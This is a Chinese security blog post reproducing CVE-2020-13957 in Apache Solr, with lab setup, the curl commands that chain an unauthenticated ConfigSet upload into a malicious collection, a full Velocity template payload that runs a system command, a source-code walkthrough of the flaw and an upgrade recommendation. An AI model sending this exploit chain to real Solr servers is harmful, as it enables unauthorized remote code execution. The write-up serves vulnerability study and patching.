hatjwe&ebounce @Timeline Sec 本文字数:1778 阅读时长:5~6min 声明:请勿用作违法用途,否则后果自负 0x01 简介
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
0x02 漏洞概述漏洞编号CVE-2020-13957
在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。
整个利用链流程:
上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE
0x03 影响版本Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2
0x04 环境搭建 为1、solr-7.0.1
http://archive.apache.org/dist/lucene/solr/7.0.1/
在下载好的solr下bin目录打开cmd执行
solr.cmd start -c
启动SolrCloud,访问http://127.0.0.1:8983
1、将
\server\solr\configsets\_default\conf目录下的solrconfig.xml文件中params.resource.loader.enabled的值设置为true(为远程命令执行做准备),conf目录下所有文件打包成一个压缩文件
2、通过上传API将zip上传
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @7.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=file1"
3、根据UPLOAD的配置,创建一个新的配置,绕过不能通过直接UPLOAD创建collection的限制
curl "http:/127.0.0.1:8983/solr/admin/configs?action=CREATE&name=file3&baseConfigSet=file1&configSetProp.immutable=false&wt=xml&omitHeader=true"
4、根据CREATE得到的新configset创建恶意collection
curl "http:/127.0.0.1:8983/solr/admin/collections?action=CREATE&numShards=1&name=file2&collection.configName=file3"
5、我们可以利用已上传的collection进行远程命令执行
http://127.0.0.1:8983/solr/file2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
PS:如果不成功可以检查下params.resource.loader.enabled的值设置为true,这是利用solrVelocity模板进行rce的先决条件
可以通过solr could界面查看上传collection的configset设置信息
当传入zip配置文件时,会调用getTrusted函数进行判断是否允许创建该配置对应的node:
org.apache.solr.handler.admin.ConfigSetsHandler
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @eviltest1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=eviltest1"
虽然该配置文件集会被标记成未授信,但仍然会被写入到服务器中
所以我们第一步上传的配置集会被写入到服务器中,然后我们使用该配置集创建配置,由于下一步我们传入的URL中含有CREATE,baseConfigSet等,因此挨个全局搜索找到判定点:
org.apache.solr.handler.admin.ConfigSetsHandler
curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil1&baseConfigSet=eviltest1&configSetProp.immutable=false&wt=xml&omitHeader=true"
结合URL和参数可以看出该操作是以我们刚刚传入的eviltest1为模板,创建新的模板其名字为evil1,跟进copyPropertiesWithPrefix此处会通过configSetProp.前缀,筛选对应的CREATE配置:
我们传入的immutable默认为false,因此从配置的角度来说URL可以稍微简化一点:
curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil1&baseConfigSet=eviltest2&wt=xml&omitHeader=true"
这里同样可以上传成功,值得注意的是我们之前在getTrusted打下的断点没有触发,意味着CREATE这一步在通过母版创建子版的时候是不会触发校验的:
随后我们跟进下一步:
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=eviltest1&numShards=1&replicationFactor=1&wt=xml&collection.configName=evil1"
同样的道理这里出现关键词replicationFactor一个似乎是一个工厂函数推测,配置就是在这一步创建的,全局搜索replicationFactor,最后最后找了很久发现触发点(利用重复性报错)org.apache.solr.cloud.api.collections.CreateCollectionCmd#call
这个函数非常长,具体作用就是创建collection并判断选用的是哪个configsets,最后刷新collection列表:
通过这一系列的操作最后就能够生成新的collection,即配置被加载,从而能被攻击者利用了。
0x07 修复建议1.升级到最新版本
http://archive.apache.org/dist/lucene/solr/
0x08 总结这个漏洞是由于连续UPLOAD上传configset后configset API只会检测第一次而产生未授权漏洞,看了很多文章都是直接上传一个configset之后collection感觉上有些问题,于是便在开篇写了我认为的利用链,如果有疑问欢迎师傅一起沟通。
参考链接:
https://blog.csdn.net/weixin_45728976/article/details/109102413
https://blog.csdn.net/caiqiiqi/article/details/109046187
![a6fbc0deded27fcc69f18a3e8c0a4b4a.png](https://i-blog.csdnimg.cn/blog_migrate/54b43457148da7cfce56b4c3e08fa392.png)
![1d0ab7fcd5bfcc83dbbb53ab936f6907.png](https://i-blog.csdnimg.cn/blog_migrate/d171bbbc89fb599f0b852f1e7bfd844c.jpeg)